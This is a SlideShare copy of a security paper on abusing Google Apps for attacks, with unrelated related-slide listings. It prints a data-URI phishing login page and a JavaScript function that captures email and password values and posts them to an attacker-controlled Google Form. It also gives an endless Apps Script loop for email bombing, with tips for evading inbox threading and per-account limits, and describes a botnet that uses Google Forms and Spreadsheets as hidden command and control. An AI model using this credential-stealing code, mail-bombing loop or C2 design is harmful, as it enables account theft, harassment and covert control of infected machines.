SlideShare a Scribd company logo
1 of 5
Download to read offline
Abusing Google Apps: Google is my
Command and Control Center
Ajin Abraham
ajin25@gmail.com
www.opensecurity.in

INTRODUCTION
Google Apps is a cloud-based productivity suite used by a large section of people
including Corporate, Academic and Home users. This paper is about abusing innocent
Google Apps and Data API to implement offensive attacks. The major and widely used
Google Apps like Google Forms, Google Spreadsheet and Google Script as well as the
Google Apps API can be abused for implementing various attack vectors. This paper
will look into the following things:
1. Phishing with Data URI and Google Forms.
2. E-mail Bombing regenerated with Google App Script.
3. Implementing a Cross-Platform Botnet with its C&C hosted with Google.

ABUSING DATA URI AND GOOGLE FORMS
Data URI is a URI scheme that allows a web developer to include inline code into
webpages. These codes are executed as if they were from external sources. It was
discovered before and discussed in klevjers’s paper about Data URI that by abusing
Data URI and URL Shortners, hackers can implement a brand new phishing attack. The
data URI may looks like the following.

data:text/html,<title>Login</title><p align="center">Email:<input
type="text"><br>Password:<input type="text"><br><input type="submit"
value="Log in">

So this piece of code will get executed once you provide this in the URL field of a
browser.
One could easily use an URL Shortner service to shorten the data URI.
We are utilizing this previous knowledge to implement Hostless Phishing.
Hostless Phishing means the phisher is hosted nowhere as such. However one can say
that the source code is stored in the URL Shortner’s database. We will do some
workarounds to bypass the URL length restrictions enforced by the browsers. We use a
bit of AJAX and Google Forms to implement this. We will inject the following AJAX which
will capture all the keystrokes and send them to a Google Form and the data is logged
in the attached Spreadsheet.
<script>
function steal()
{
var us = document.fb.email.value;
var ps = document.fb.pass.value;
var http=new XMLHttpRequest();
var url = "<form_action>";
var params = "<text_field>=USERNAME: "+us+" PASS: "+ps;
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.send(params);
sleep(1000);
}
function sleep(milliseconds) {
var start = new Date().getTime();
for (var i = 0; i < 1e7; i++) {
if ((new Date().getTime() - start) > milliseconds){
break;
}
}
}
</script>
So the final PoC will be include a genuine page’s source code, injected with a
Keylogging AJAX and this source is base encoded and crafted as a DATA URI and
finally URL shortened.
EMAIL BOMBING WITH GOOGLE APPSCRIPT
A single line of code inside a loop is required to start an Email Bombing with Google
App Script. App Script is much alike or almost like native Java Script with addition
classes to support Google Apps. To send a mail with a Google App Script you can use a
single line of code.

MailApp.sendEmail(‘to’,’subject’,’message’);

So simply you can put it inside a loop to perform an Email bombing. But since the mail
contents are all the same, in most of the modern email apps, all the similar mails are
stored under one email entry inbox, followed by the number of new mails. It forms a
hierarchical structure rather than separate new email entry.

In order to bypass that, we will send a mail with varying content each time. The
following code can do the needful.

sub=1;
msg=2;
while(1)
{
MailApp.sendEmail(“someone@somewhere.com”,sub,msg);
sub++;
msg++;
}

So this simple script can cause an Email Bombing the targeted email address. To
prevent this Google has applied a limit to the no of emails that can be send from an
account. But still you can run the script from multiple accounts, making it more
effective. It is observed that 98% of the messages are entering the email inbox rather
than ending up as Spam since the email headers are genuine, not caught by the spam
filters and obviously because they not blacklisted by the filters.
ABUSING GOOGLE API TO CONVERT GOOGLE APPS AS THE COMMAND AND CONTROL
CENTER FOR A BOTNET.

Xenotix xBOT is a powerful cross platform (Linux, Windows, Mac) bot written in
Python that abuse certain Google Services to implement Command & Control
Center for the botnet. The Google Apps Data API, Google Forms and Google
Spreadsheet is abused to implement C2 for a bot network. The Google Forms can
act as the C2 for a bot network. All the entries to the Google Form are send to an
attached Spreadsheet. Here we can implement a bot that will listen to the
Google Data API URL and extract the commands and later send back the
response via the same Form. The Google Data API allows us to fetch the contents
of a published spreadsheet in a variety of formats. The spreadsheet feeds are
fetched in RSS format and will parsed. For implementing the bot we will parse
through the source, fetch the commands and do the corresponding operations.

Fig1: Sample of Spreadsheet Feeds with commands and responses.

The xBOT's communication is encrypted as it uses Google's own SSL connection
and is nowhere affected by any firewalls or the ISP's tricky network
configurations. The botnet's commands and responses are encrypted making it
harder to sniff the bot’s communications. This Bot will be a prototype bot with
the bare minimum features of a Typical Bot. The intention of the paper is to give
an idea about how Google API’s can be abused for Botnet Implementation.
xBOT will be capable of performing operations like shell command execution,
downloading and uploading files, screen capturing, port scanning etc.
References
https://developers.google.com/gdata/samples?hl=en
https://developers.google.com/apps-script/
http://klevjers.com/papers/phishing.pdf
Abusing Google Apps and Data API: Google is My Command and Control Center

More Related Content

Viewers also liked

Automated Security Analysis of Android & iOS Applications with Mobile Securit...
Automated Security Analysis of Android & iOS Applications with Mobile Securit...Automated Security Analysis of Android & iOS Applications with Mobile Securit...
Automated Security Analysis of Android & iOS Applications with Mobile Securit...Ajin Abraham
 
Injecting Security into vulnerable web apps at Runtime
Injecting Security into vulnerable web apps at RuntimeInjecting Security into vulnerable web apps at Runtime
Injecting Security into vulnerable web apps at RuntimeAjin Abraham
 
Exploit Research and Development Megaprimer: Buffer overflow for beginners
Exploit Research and Development Megaprimer: Buffer overflow for beginnersExploit Research and Development Megaprimer: Buffer overflow for beginners
Exploit Research and Development Megaprimer: Buffer overflow for beginnersAjin Abraham
 
Shellcoding in linux
Shellcoding in linuxShellcoding in linux
Shellcoding in linuxAjin Abraham
 
Sainilk Awasiya Mahavidyalaya announces admissions open for BBA.
Sainilk Awasiya Mahavidyalaya announces admissions open for BBA.Sainilk Awasiya Mahavidyalaya announces admissions open for BBA.
Sainilk Awasiya Mahavidyalaya announces admissions open for BBA.ArihantEducation
 
Toxic Blue-Green Algae Reminders
Toxic Blue-Green Algae RemindersToxic Blue-Green Algae Reminders
Toxic Blue-Green Algae RemindersK 38
 
ေႀကးမံု 1-nov-13-km
ေႀကးမံု 1-nov-13-kmေႀကးမံု 1-nov-13-km
ေႀကးမံု 1-nov-13-kmsan aye
 
Goldmedia Trendmonitor 2011. Analysen und Prognosen für 2011 in den Bereichen...
Goldmedia Trendmonitor 2011. Analysen und Prognosen für 2011 in den Bereichen...Goldmedia Trendmonitor 2011. Analysen und Prognosen für 2011 in den Bereichen...
Goldmedia Trendmonitor 2011. Analysen und Prognosen für 2011 in den Bereichen...Goldmedia Group
 
Calendario tenis competiciones castilla la mancha 2013
Calendario tenis competiciones castilla la mancha 2013Calendario tenis competiciones castilla la mancha 2013
Calendario tenis competiciones castilla la mancha 2013jgtenisok
 
Briviesca a través del tiempo. La judería de Briviesca
Briviesca a través del tiempo. La judería de BriviescaBriviesca a través del tiempo. La judería de Briviesca
Briviesca a través del tiempo. La judería de Briviescalabureba
 
Jones aleph acqorders
Jones aleph acqordersJones aleph acqorders
Jones aleph acqordersENUG
 

Viewers also liked (16)

Automated Security Analysis of Android & iOS Applications with Mobile Securit...
Automated Security Analysis of Android & iOS Applications with Mobile Securit...Automated Security Analysis of Android & iOS Applications with Mobile Securit...
Automated Security Analysis of Android & iOS Applications with Mobile Securit...
 
Injecting Security into vulnerable web apps at Runtime
Injecting Security into vulnerable web apps at RuntimeInjecting Security into vulnerable web apps at Runtime
Injecting Security into vulnerable web apps at Runtime
 
Exploit Research and Development Megaprimer: Buffer overflow for beginners
Exploit Research and Development Megaprimer: Buffer overflow for beginnersExploit Research and Development Megaprimer: Buffer overflow for beginners
Exploit Research and Development Megaprimer: Buffer overflow for beginners
 
Shellcoding in linux
Shellcoding in linuxShellcoding in linux
Shellcoding in linux
 
Asteroides
AsteroidesAsteroides
Asteroides
 
Sainilk Awasiya Mahavidyalaya announces admissions open for BBA.
Sainilk Awasiya Mahavidyalaya announces admissions open for BBA.Sainilk Awasiya Mahavidyalaya announces admissions open for BBA.
Sainilk Awasiya Mahavidyalaya announces admissions open for BBA.
 
Toxic Blue-Green Algae Reminders
Toxic Blue-Green Algae RemindersToxic Blue-Green Algae Reminders
Toxic Blue-Green Algae Reminders
 
ေႀကးမံု 1-nov-13-km
ေႀကးမံု 1-nov-13-kmေႀကးမံု 1-nov-13-km
ေႀကးမံု 1-nov-13-km
 
The State of Global Markets 2013
The State of Global Markets 2013The State of Global Markets 2013
The State of Global Markets 2013
 
Goldmedia Trendmonitor 2011. Analysen und Prognosen für 2011 in den Bereichen...
Goldmedia Trendmonitor 2011. Analysen und Prognosen für 2011 in den Bereichen...Goldmedia Trendmonitor 2011. Analysen und Prognosen für 2011 in den Bereichen...
Goldmedia Trendmonitor 2011. Analysen und Prognosen für 2011 in den Bereichen...
 
Calendario tenis competiciones castilla la mancha 2013
Calendario tenis competiciones castilla la mancha 2013Calendario tenis competiciones castilla la mancha 2013
Calendario tenis competiciones castilla la mancha 2013
 
Briviesca a través del tiempo. La judería de Briviesca
Briviesca a través del tiempo. La judería de BriviescaBriviesca a través del tiempo. La judería de Briviesca
Briviesca a través del tiempo. La judería de Briviesca
 
21 febrero sandino vive 2014
21 febrero sandino vive 201421 febrero sandino vive 2014
21 febrero sandino vive 2014
 
Concept02
Concept02Concept02
Concept02
 
Cloud desktop for byod
Cloud desktop for byodCloud desktop for byod
Cloud desktop for byod
 
Jones aleph acqorders
Jones aleph acqordersJones aleph acqorders
Jones aleph acqorders
 

More from Ajin Abraham

Injecting Security into Web apps at Runtime Whitepaper
Injecting Security into Web apps at Runtime WhitepaperInjecting Security into Web apps at Runtime Whitepaper
Injecting Security into Web apps at Runtime WhitepaperAjin Abraham
 
Abusing Exploiting and Pwning with Firefox Addons
Abusing Exploiting and Pwning with Firefox AddonsAbusing Exploiting and Pwning with Firefox Addons
Abusing Exploiting and Pwning with Firefox AddonsAjin Abraham
 
Exploit Research and Development Megaprimer: DEP Bypassing with ROP Chains
Exploit Research and Development Megaprimer: DEP Bypassing with ROP ChainsExploit Research and Development Megaprimer: DEP Bypassing with ROP Chains
Exploit Research and Development Megaprimer: DEP Bypassing with ROP ChainsAjin Abraham
 
Exploit Research and Development Megaprimer: Win32 Egghunter
Exploit Research and Development Megaprimer: Win32 EgghunterExploit Research and Development Megaprimer: Win32 Egghunter
Exploit Research and Development Megaprimer: Win32 EgghunterAjin Abraham
 
Exploit Research and Development Megaprimer: mona.py, Exploit Writer's Swiss ...
Exploit Research and Development Megaprimer: mona.py, Exploit Writer's Swiss ...Exploit Research and Development Megaprimer: mona.py, Exploit Writer's Swiss ...
Exploit Research and Development Megaprimer: mona.py, Exploit Writer's Swiss ...Ajin Abraham
 
Exploit Research and Development Megaprimer: Unicode Based Exploit Development
Exploit Research and Development Megaprimer: Unicode Based Exploit DevelopmentExploit Research and Development Megaprimer: Unicode Based Exploit Development
Exploit Research and Development Megaprimer: Unicode Based Exploit DevelopmentAjin Abraham
 
OWASP Xenotix XSS Exploit Framework v3 : Nullcon Goa 2013
OWASP Xenotix XSS Exploit Framework v3 : Nullcon Goa 2013OWASP Xenotix XSS Exploit Framework v3 : Nullcon Goa 2013
OWASP Xenotix XSS Exploit Framework v3 : Nullcon Goa 2013Ajin Abraham
 
Pwning with XSS: from alert() to reverse shell: Defcon Banglore 2013
Pwning with XSS: from alert() to reverse shell: Defcon Banglore 2013Pwning with XSS: from alert() to reverse shell: Defcon Banglore 2013
Pwning with XSS: from alert() to reverse shell: Defcon Banglore 2013Ajin Abraham
 
Abusing, Exploiting and Pwning with Firefox Add-ons: OWASP Appsec 2013 Presen...
Abusing, Exploiting and Pwning with Firefox Add-ons: OWASP Appsec 2013 Presen...Abusing, Exploiting and Pwning with Firefox Add-ons: OWASP Appsec 2013 Presen...
Abusing, Exploiting and Pwning with Firefox Add-ons: OWASP Appsec 2013 Presen...Ajin Abraham
 
Xenotix XSS Exploit Framework: Clubhack 2012
Xenotix XSS Exploit Framework: Clubhack 2012 Xenotix XSS Exploit Framework: Clubhack 2012
Xenotix XSS Exploit Framework: Clubhack 2012 Ajin Abraham
 
Wi-Fi Security with Wi-Fi P+
Wi-Fi Security with Wi-Fi P+Wi-Fi Security with Wi-Fi P+
Wi-Fi Security with Wi-Fi P+Ajin Abraham
 
Phishing With Data URI
Phishing With Data URIPhishing With Data URI
Phishing With Data URIAjin Abraham
 
Buffer overflow for Beginners
Buffer overflow for BeginnersBuffer overflow for Beginners
Buffer overflow for BeginnersAjin Abraham
 

More from Ajin Abraham (13)

Injecting Security into Web apps at Runtime Whitepaper
Injecting Security into Web apps at Runtime WhitepaperInjecting Security into Web apps at Runtime Whitepaper
Injecting Security into Web apps at Runtime Whitepaper
 
Abusing Exploiting and Pwning with Firefox Addons
Abusing Exploiting and Pwning with Firefox AddonsAbusing Exploiting and Pwning with Firefox Addons
Abusing Exploiting and Pwning with Firefox Addons
 
Exploit Research and Development Megaprimer: DEP Bypassing with ROP Chains
Exploit Research and Development Megaprimer: DEP Bypassing with ROP ChainsExploit Research and Development Megaprimer: DEP Bypassing with ROP Chains
Exploit Research and Development Megaprimer: DEP Bypassing with ROP Chains
 
Exploit Research and Development Megaprimer: Win32 Egghunter
Exploit Research and Development Megaprimer: Win32 EgghunterExploit Research and Development Megaprimer: Win32 Egghunter
Exploit Research and Development Megaprimer: Win32 Egghunter
 
Exploit Research and Development Megaprimer: mona.py, Exploit Writer's Swiss ...
Exploit Research and Development Megaprimer: mona.py, Exploit Writer's Swiss ...Exploit Research and Development Megaprimer: mona.py, Exploit Writer's Swiss ...
Exploit Research and Development Megaprimer: mona.py, Exploit Writer's Swiss ...
 
Exploit Research and Development Megaprimer: Unicode Based Exploit Development
Exploit Research and Development Megaprimer: Unicode Based Exploit DevelopmentExploit Research and Development Megaprimer: Unicode Based Exploit Development
Exploit Research and Development Megaprimer: Unicode Based Exploit Development
 
OWASP Xenotix XSS Exploit Framework v3 : Nullcon Goa 2013
OWASP Xenotix XSS Exploit Framework v3 : Nullcon Goa 2013OWASP Xenotix XSS Exploit Framework v3 : Nullcon Goa 2013
OWASP Xenotix XSS Exploit Framework v3 : Nullcon Goa 2013
 
Pwning with XSS: from alert() to reverse shell: Defcon Banglore 2013
Pwning with XSS: from alert() to reverse shell: Defcon Banglore 2013Pwning with XSS: from alert() to reverse shell: Defcon Banglore 2013
Pwning with XSS: from alert() to reverse shell: Defcon Banglore 2013
 
Abusing, Exploiting and Pwning with Firefox Add-ons: OWASP Appsec 2013 Presen...
Abusing, Exploiting and Pwning with Firefox Add-ons: OWASP Appsec 2013 Presen...Abusing, Exploiting and Pwning with Firefox Add-ons: OWASP Appsec 2013 Presen...
Abusing, Exploiting and Pwning with Firefox Add-ons: OWASP Appsec 2013 Presen...
 
Xenotix XSS Exploit Framework: Clubhack 2012
Xenotix XSS Exploit Framework: Clubhack 2012 Xenotix XSS Exploit Framework: Clubhack 2012
Xenotix XSS Exploit Framework: Clubhack 2012
 
Wi-Fi Security with Wi-Fi P+
Wi-Fi Security with Wi-Fi P+Wi-Fi Security with Wi-Fi P+
Wi-Fi Security with Wi-Fi P+
 
Phishing With Data URI
Phishing With Data URIPhishing With Data URI
Phishing With Data URI
 
Buffer overflow for Beginners
Buffer overflow for BeginnersBuffer overflow for Beginners
Buffer overflow for Beginners
 

Recently uploaded

Narcotic and Non Narcotic Analgesic..pdf
Narcotic and Non Narcotic Analgesic..pdfNarcotic and Non Narcotic Analgesic..pdf
Narcotic and Non Narcotic Analgesic..pdfPrerana Jadhav
 
4.16.24 Poverty and Precarity--Desmond.pptx
4.16.24 Poverty and Precarity--Desmond.pptx4.16.24 Poverty and Precarity--Desmond.pptx
4.16.24 Poverty and Precarity--Desmond.pptxmary850239
 
4.18.24 Movement Legacies, Reflection, and Review.pptx
4.18.24 Movement Legacies, Reflection, and Review.pptx4.18.24 Movement Legacies, Reflection, and Review.pptx
4.18.24 Movement Legacies, Reflection, and Review.pptxmary850239
 
IPCRF/RPMS 2024 Classroom Observation tool is your access to the new performa...
IPCRF/RPMS 2024 Classroom Observation tool is your access to the new performa...IPCRF/RPMS 2024 Classroom Observation tool is your access to the new performa...
IPCRF/RPMS 2024 Classroom Observation tool is your access to the new performa...MerlizValdezGeronimo
 
How to Manage Engineering to Order in Odoo 17
How to Manage Engineering to Order in Odoo 17How to Manage Engineering to Order in Odoo 17
How to Manage Engineering to Order in Odoo 17Celine George
 
ROLES IN A STAGE PRODUCTION in arts.pptx
ROLES IN A STAGE PRODUCTION in arts.pptxROLES IN A STAGE PRODUCTION in arts.pptx
ROLES IN A STAGE PRODUCTION in arts.pptxVanesaIglesias10
 
ICS2208 Lecture6 Notes for SL spaces.pdf
ICS2208 Lecture6 Notes for SL spaces.pdfICS2208 Lecture6 Notes for SL spaces.pdf
ICS2208 Lecture6 Notes for SL spaces.pdfVanessa Camilleri
 
ESP 4-EDITED.pdfmmcncncncmcmmnmnmncnmncmnnjvnnv
ESP 4-EDITED.pdfmmcncncncmcmmnmnmncnmncmnnjvnnvESP 4-EDITED.pdfmmcncncncmcmmnmnmncnmncmnnjvnnv
ESP 4-EDITED.pdfmmcncncncmcmmnmnmncnmncmnnjvnnvRicaMaeCastro1
 
BIOCHEMISTRY-CARBOHYDRATE METABOLISM CHAPTER 2.pptx
BIOCHEMISTRY-CARBOHYDRATE METABOLISM CHAPTER 2.pptxBIOCHEMISTRY-CARBOHYDRATE METABOLISM CHAPTER 2.pptx
BIOCHEMISTRY-CARBOHYDRATE METABOLISM CHAPTER 2.pptxSayali Powar
 
MS4 level being good citizen -imperative- (1) (1).pdf
MS4 level   being good citizen -imperative- (1) (1).pdfMS4 level   being good citizen -imperative- (1) (1).pdf
MS4 level being good citizen -imperative- (1) (1).pdfMr Bounab Samir
 
Reading and Writing Skills 11 quarter 4 melc 1
Reading and Writing Skills 11 quarter 4 melc 1Reading and Writing Skills 11 quarter 4 melc 1
Reading and Writing Skills 11 quarter 4 melc 1GloryAnnCastre1
 
Choosing the Right CBSE School A Comprehensive Guide for Parents
Choosing the Right CBSE School A Comprehensive Guide for ParentsChoosing the Right CBSE School A Comprehensive Guide for Parents
Choosing the Right CBSE School A Comprehensive Guide for Parentsnavabharathschool99
 
Inclusivity Essentials_ Creating Accessible Websites for Nonprofits .pdf
Inclusivity Essentials_ Creating Accessible Websites for Nonprofits .pdfInclusivity Essentials_ Creating Accessible Websites for Nonprofits .pdf
Inclusivity Essentials_ Creating Accessible Websites for Nonprofits .pdfTechSoup
 
Mental Health Awareness - a toolkit for supporting young minds
Mental Health Awareness - a toolkit for supporting young mindsMental Health Awareness - a toolkit for supporting young minds
Mental Health Awareness - a toolkit for supporting young mindsPooky Knightsmith
 
ANG SEKTOR NG agrikultura.pptx QUARTER 4
ANG SEKTOR NG agrikultura.pptx QUARTER 4ANG SEKTOR NG agrikultura.pptx QUARTER 4
ANG SEKTOR NG agrikultura.pptx QUARTER 4MiaBumagat1
 
Influencing policy (training slides from Fast Track Impact)
Influencing policy (training slides from Fast Track Impact)Influencing policy (training slides from Fast Track Impact)
Influencing policy (training slides from Fast Track Impact)Mark Reed
 
Multi Domain Alias In the Odoo 17 ERP Module
Multi Domain Alias In the Odoo 17 ERP ModuleMulti Domain Alias In the Odoo 17 ERP Module
Multi Domain Alias In the Odoo 17 ERP ModuleCeline George
 

Recently uploaded (20)

Narcotic and Non Narcotic Analgesic..pdf
Narcotic and Non Narcotic Analgesic..pdfNarcotic and Non Narcotic Analgesic..pdf
Narcotic and Non Narcotic Analgesic..pdf
 
4.16.24 Poverty and Precarity--Desmond.pptx
4.16.24 Poverty and Precarity--Desmond.pptx4.16.24 Poverty and Precarity--Desmond.pptx
4.16.24 Poverty and Precarity--Desmond.pptx
 
4.18.24 Movement Legacies, Reflection, and Review.pptx
4.18.24 Movement Legacies, Reflection, and Review.pptx4.18.24 Movement Legacies, Reflection, and Review.pptx
4.18.24 Movement Legacies, Reflection, and Review.pptx
 
IPCRF/RPMS 2024 Classroom Observation tool is your access to the new performa...
IPCRF/RPMS 2024 Classroom Observation tool is your access to the new performa...IPCRF/RPMS 2024 Classroom Observation tool is your access to the new performa...
IPCRF/RPMS 2024 Classroom Observation tool is your access to the new performa...
 
How to Manage Engineering to Order in Odoo 17
How to Manage Engineering to Order in Odoo 17How to Manage Engineering to Order in Odoo 17
How to Manage Engineering to Order in Odoo 17
 
ROLES IN A STAGE PRODUCTION in arts.pptx
ROLES IN A STAGE PRODUCTION in arts.pptxROLES IN A STAGE PRODUCTION in arts.pptx
ROLES IN A STAGE PRODUCTION in arts.pptx
 
INCLUSIVE EDUCATION PRACTICES FOR TEACHERS AND TRAINERS.pptx
INCLUSIVE EDUCATION PRACTICES FOR TEACHERS AND TRAINERS.pptxINCLUSIVE EDUCATION PRACTICES FOR TEACHERS AND TRAINERS.pptx
INCLUSIVE EDUCATION PRACTICES FOR TEACHERS AND TRAINERS.pptx
 
ICS2208 Lecture6 Notes for SL spaces.pdf
ICS2208 Lecture6 Notes for SL spaces.pdfICS2208 Lecture6 Notes for SL spaces.pdf
ICS2208 Lecture6 Notes for SL spaces.pdf
 
ESP 4-EDITED.pdfmmcncncncmcmmnmnmncnmncmnnjvnnv
ESP 4-EDITED.pdfmmcncncncmcmmnmnmncnmncmnnjvnnvESP 4-EDITED.pdfmmcncncncmcmmnmnmncnmncmnnjvnnv
ESP 4-EDITED.pdfmmcncncncmcmmnmnmncnmncmnnjvnnv
 
BIOCHEMISTRY-CARBOHYDRATE METABOLISM CHAPTER 2.pptx
BIOCHEMISTRY-CARBOHYDRATE METABOLISM CHAPTER 2.pptxBIOCHEMISTRY-CARBOHYDRATE METABOLISM CHAPTER 2.pptx
BIOCHEMISTRY-CARBOHYDRATE METABOLISM CHAPTER 2.pptx
 
MS4 level being good citizen -imperative- (1) (1).pdf
MS4 level   being good citizen -imperative- (1) (1).pdfMS4 level   being good citizen -imperative- (1) (1).pdf
MS4 level being good citizen -imperative- (1) (1).pdf
 
Reading and Writing Skills 11 quarter 4 melc 1
Reading and Writing Skills 11 quarter 4 melc 1Reading and Writing Skills 11 quarter 4 melc 1
Reading and Writing Skills 11 quarter 4 melc 1
 
Paradigm shift in nursing research by RS MEHTA
Paradigm shift in nursing research by RS MEHTAParadigm shift in nursing research by RS MEHTA
Paradigm shift in nursing research by RS MEHTA
 
Choosing the Right CBSE School A Comprehensive Guide for Parents
Choosing the Right CBSE School A Comprehensive Guide for ParentsChoosing the Right CBSE School A Comprehensive Guide for Parents
Choosing the Right CBSE School A Comprehensive Guide for Parents
 
Inclusivity Essentials_ Creating Accessible Websites for Nonprofits .pdf
Inclusivity Essentials_ Creating Accessible Websites for Nonprofits .pdfInclusivity Essentials_ Creating Accessible Websites for Nonprofits .pdf
Inclusivity Essentials_ Creating Accessible Websites for Nonprofits .pdf
 
Mattingly "AI & Prompt Design: Large Language Models"
Mattingly "AI & Prompt Design: Large Language Models"Mattingly "AI & Prompt Design: Large Language Models"
Mattingly "AI & Prompt Design: Large Language Models"
 
Mental Health Awareness - a toolkit for supporting young minds
Mental Health Awareness - a toolkit for supporting young mindsMental Health Awareness - a toolkit for supporting young minds
Mental Health Awareness - a toolkit for supporting young minds
 
ANG SEKTOR NG agrikultura.pptx QUARTER 4
ANG SEKTOR NG agrikultura.pptx QUARTER 4ANG SEKTOR NG agrikultura.pptx QUARTER 4
ANG SEKTOR NG agrikultura.pptx QUARTER 4
 
Influencing policy (training slides from Fast Track Impact)
Influencing policy (training slides from Fast Track Impact)Influencing policy (training slides from Fast Track Impact)
Influencing policy (training slides from Fast Track Impact)
 
Multi Domain Alias In the Odoo 17 ERP Module
Multi Domain Alias In the Odoo 17 ERP ModuleMulti Domain Alias In the Odoo 17 ERP Module
Multi Domain Alias In the Odoo 17 ERP Module
 

Abusing Google Apps and Data API: Google is My Command and Control Center

  • 1. Abusing Google Apps: Google is my Command and Control Center Ajin Abraham ajin25@gmail.com www.opensecurity.in INTRODUCTION Google Apps is a cloud-based productivity suite used by a large section of people including Corporate, Academic and Home users. This paper is about abusing innocent Google Apps and Data API to implement offensive attacks. The major and widely used Google Apps like Google Forms, Google Spreadsheet and Google Script as well as the Google Apps API can be abused for implementing various attack vectors. This paper will look into the following things: 1. Phishing with Data URI and Google Forms. 2. E-mail Bombing regenerated with Google App Script. 3. Implementing a Cross-Platform Botnet with its C&C hosted with Google. ABUSING DATA URI AND GOOGLE FORMS Data URI is a URI scheme that allows a web developer to include inline code into webpages. These codes are executed as if they were from external sources. It was discovered before and discussed in klevjers’s paper about Data URI that by abusing Data URI and URL Shortners, hackers can implement a brand new phishing attack. The data URI may looks like the following. data:text/html,<title>Login</title><p align="center">Email:<input type="text"><br>Password:<input type="text"><br><input type="submit" value="Log in"> So this piece of code will get executed once you provide this in the URL field of a browser. One could easily use an URL Shortner service to shorten the data URI. We are utilizing this previous knowledge to implement Hostless Phishing. Hostless Phishing means the phisher is hosted nowhere as such. However one can say
  • 2. that the source code is stored in the URL Shortner’s database. We will do some workarounds to bypass the URL length restrictions enforced by the browsers. We use a bit of AJAX and Google Forms to implement this. We will inject the following AJAX which will capture all the keystrokes and send them to a Google Form and the data is logged in the attached Spreadsheet. <script> function steal() { var us = document.fb.email.value; var ps = document.fb.pass.value; var http=new XMLHttpRequest(); var url = "<form_action>"; var params = "<text_field>=USERNAME: "+us+" PASS: "+ps; http.open("POST", url, true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.send(params); sleep(1000); } function sleep(milliseconds) { var start = new Date().getTime(); for (var i = 0; i < 1e7; i++) { if ((new Date().getTime() - start) > milliseconds){ break; } } } </script> So the final PoC will be include a genuine page’s source code, injected with a Keylogging AJAX and this source is base encoded and crafted as a DATA URI and finally URL shortened. EMAIL BOMBING WITH GOOGLE APPSCRIPT A single line of code inside a loop is required to start an Email Bombing with Google App Script. App Script is much alike or almost like native Java Script with addition classes to support Google Apps. To send a mail with a Google App Script you can use a single line of code. MailApp.sendEmail(‘to’,’subject’,’message’); So simply you can put it inside a loop to perform an Email bombing. But since the mail contents are all the same, in most of the modern email apps, all the similar mails are
  • 3. stored under one email entry inbox, followed by the number of new mails. It forms a hierarchical structure rather than separate new email entry. In order to bypass that, we will send a mail with varying content each time. The following code can do the needful. sub=1; msg=2; while(1) { MailApp.sendEmail(“someone@somewhere.com”,sub,msg); sub++; msg++; } So this simple script can cause an Email Bombing the targeted email address. To prevent this Google has applied a limit to the no of emails that can be send from an account. But still you can run the script from multiple accounts, making it more effective. It is observed that 98% of the messages are entering the email inbox rather than ending up as Spam since the email headers are genuine, not caught by the spam filters and obviously because they not blacklisted by the filters. ABUSING GOOGLE API TO CONVERT GOOGLE APPS AS THE COMMAND AND CONTROL CENTER FOR A BOTNET. Xenotix xBOT is a powerful cross platform (Linux, Windows, Mac) bot written in Python that abuse certain Google Services to implement Command & Control Center for the botnet. The Google Apps Data API, Google Forms and Google Spreadsheet is abused to implement C2 for a bot network. The Google Forms can act as the C2 for a bot network. All the entries to the Google Form are send to an attached Spreadsheet. Here we can implement a bot that will listen to the Google Data API URL and extract the commands and later send back the
  • 4. response via the same Form. The Google Data API allows us to fetch the contents of a published spreadsheet in a variety of formats. The spreadsheet feeds are fetched in RSS format and will parsed. For implementing the bot we will parse through the source, fetch the commands and do the corresponding operations. Fig1: Sample of Spreadsheet Feeds with commands and responses. The xBOT's communication is encrypted as it uses Google's own SSL connection and is nowhere affected by any firewalls or the ISP's tricky network configurations. The botnet's commands and responses are encrypted making it harder to sniff the bot’s communications. This Bot will be a prototype bot with the bare minimum features of a Typical Bot. The intention of the paper is to give an idea about how Google API’s can be abused for Botnet Implementation. xBOT will be capable of performing operations like shell command execution, downloading and uploading files, screen capturing, port scanning etc. References https://developers.google.com/gdata/samples?hl=en https://developers.google.com/apps-script/ http://klevjers.com/papers/phishing.pdf